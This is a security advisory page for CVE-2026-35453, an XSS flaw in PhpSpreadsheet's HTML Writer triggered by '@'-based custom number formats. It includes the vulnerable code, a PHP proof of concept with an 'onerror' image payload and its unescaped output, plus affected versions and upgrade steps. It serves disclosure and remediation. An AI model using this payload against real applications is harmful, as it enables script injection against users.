CVE-2026-35453: PhpSpreadsheet XSS via number format text substitution in HTML Writer

Published Apr 28, 2026
·
Updated

Summary The HTML Writer in PhpSpreadsheet bypasses htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items" or "Total: "@). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.

Details

1. Conditional escaping in Html.php:1586-1594

php $cellData = NumberFormat::toFormattedString( $origData2, $formatCode ?? NumberFormat::FORMATGENERAL, [$this, 'formatColor'] );

if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags()); }

htmlspecialchars() is only called when $cellData === $origData (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.

2. Early return in Formatter.php:136-152

php if (pregmatch(self::SECTIONSPLIT, $format) === 0 && pregmatch(self::SYMBOLAT, $formatx) === 1) { if (!strcontains($format, '"')) { return strreplace('@', / raw value /, $format); } return strreplace(/ ... pregreplace with raw value ... /); }

When the format code contains @ with additional literal text (e.g., @ "items"), the formatter substitutes the raw cell value into the format string and returns early — the formatColor callback (which would have applied htmlspecialchars) is never invoked.

PoC

test.php php <?php

require '/app/vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Html;

$spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet();

$payload = '<img src=x onerror=alert(document.domain)>'; $formatCode = '@ "items"';

$sheet->setCellValue('A1', $payload); $sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);

$writer = new Html($spreadsheet); $html = $writer->generateHTMLAll();

fileputcontents('/app/output.html', $html);

echo "HTML output saved to /app/output.html\n";

The produced output contains unescaped data. html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" /> <title>Untitled Spreadsheet</title> <meta name="author" content="Unknown Creator" /> <meta name="title" content="Untitled Spreadsheet" /> <meta name="lastModifiedBy" content="Unknown Creator" /> <meta name="created" content="2026-04-02T16:34:44+00:00" /> <meta name="modified" content="2026-04-02T16:34:44+00:00" /> <style type="text/css"> [..SNIP..] </style> </head>

<body> <div style='page: page0'> <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'> <col class="col0" /> <tbody> <tr class="row0"> <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td> </tr> </tbody></table> </div> </body> </html>

<img width="719" height="716" alt="Screenshot 2026-04-02 at 18 45 53" src="https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe" />

Impact

The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.

Other sources

PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.3 and earlier, 2.0.0 through 2.1.15, 2.2.0 through 2.4.4, 3.3.0 through 3.10.4, and 4.0.0 through 5.6.0, the HTML Writer skips htmlspecialchars() output escaping when a cell uses a custom number format containing the @ text placeholder with additional literal text (e.g., @ "items"). The escaping is only applied when the formatted output strictly equals the original cell value. When the format code contains @ with quoted literal text, the formatter substitutes the raw cell value into the format string and returns early without invoking the escaping callback. An attacker who can control cell content in a spreadsheet processed by the HTML Writer can inject arbitrary HTML and JavaScript into the generated output. This issue has been fixed in versions 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.

MITRE

Affected Software

10 affected componentsFixes available
composer/phpoffice/phpspreadsheet<=1.30.3
1.30.4
composer/phpoffice/phpspreadsheet>=2.0.0<=2.1.15
2.1.16
composer/phpoffice/phpspreadsheet>=2.2.0<=2.4.4
2.4.5
composer/phpoffice/phpspreadsheet>=3.3.0<=3.10.4
3.10.5
composer/phpoffice/phpspreadsheet>=4.0.0<=5.6.0
5.7.0
PHPOffice phpspreadsheet<1.30.4
PHPOffice phpspreadsheet>=2.0.0<2.1.16
PHPOffice phpspreadsheet>=2.2.0<2.4.5
PHPOffice phpspreadsheet>=3.3.0<3.10.5
PHPOffice phpspreadsheet>=4.0.0<5.7.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 1.30.4
  2. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 2.1.16
  3. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 2.4.5
  4. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 3.10.5
  5. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 5.7.0
  6. Upgrade

    Upgrade PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 1.30.4
  7. Upgrade

    Upgrade PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 2.1.16
  8. Upgrade

    Upgrade PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 2.4.5
  9. Upgrade

    Upgrade PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 3.10.5
  10. Upgrade

    Upgrade PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 5.7.0
  11. Compensating control

    If you must process spreadsheets with older PhpSpreadsheet versions, ensure spreadsheet data used for HTML Writer output is not attacker-controlled; otherwise the Html Writer can inject unescaped HTML/JavaScript via custom number format text substitution for the @ placeholder (e.g., @ "items").

  12. Operational

    After upgrading PhpSpreadsheet to a fixed version, regenerate any previously produced HTML outputs from processed spreadsheets to ensure the vulnerable unescaped output is not served or distributed.

Event History

Apr 28, 2026
Advisory Published
via GitHub·10:50 PM
Data Sourced
via GitHub·10:50 PM
DescriptionWeaknessAffected Software
May 5, 2026
CVE Published
via MITRE·07:39 PM
Data Sourced
via MITRE·07:39 PM
DescriptionWeakness
Data Sourced
via NVD·08:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-35453?

CVE-2026-35453 is considered a moderate severity vulnerability due to its potential for arbitrary HTML and JavaScript injection.

2

How do I fix CVE-2026-35453?

To remediate CVE-2026-35453, upgrade PhpSpreadsheet to version 1.30.4, 2.1.16, 2.4.5, 3.10.5, or 5.7.0 depending on your current version.

3

What versions are affected by CVE-2026-35453?

CVE-2026-35453 affects PhpSpreadsheet versions up to 1.30.3, 2.1.15, 2.4.4, 3.10.4, and 5.6.0.

4

What is the nature of the vulnerability CVE-2026-35453?

CVE-2026-35453 allows attackers to bypass output escaping, potentially leading to cross-site scripting attacks.

5

Can CVE-2026-35453 be exploited remotely?

Yes, CVE-2026-35453 can be exploited remotely since it involves manipulating custom number formats in PhpSpreadsheet.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203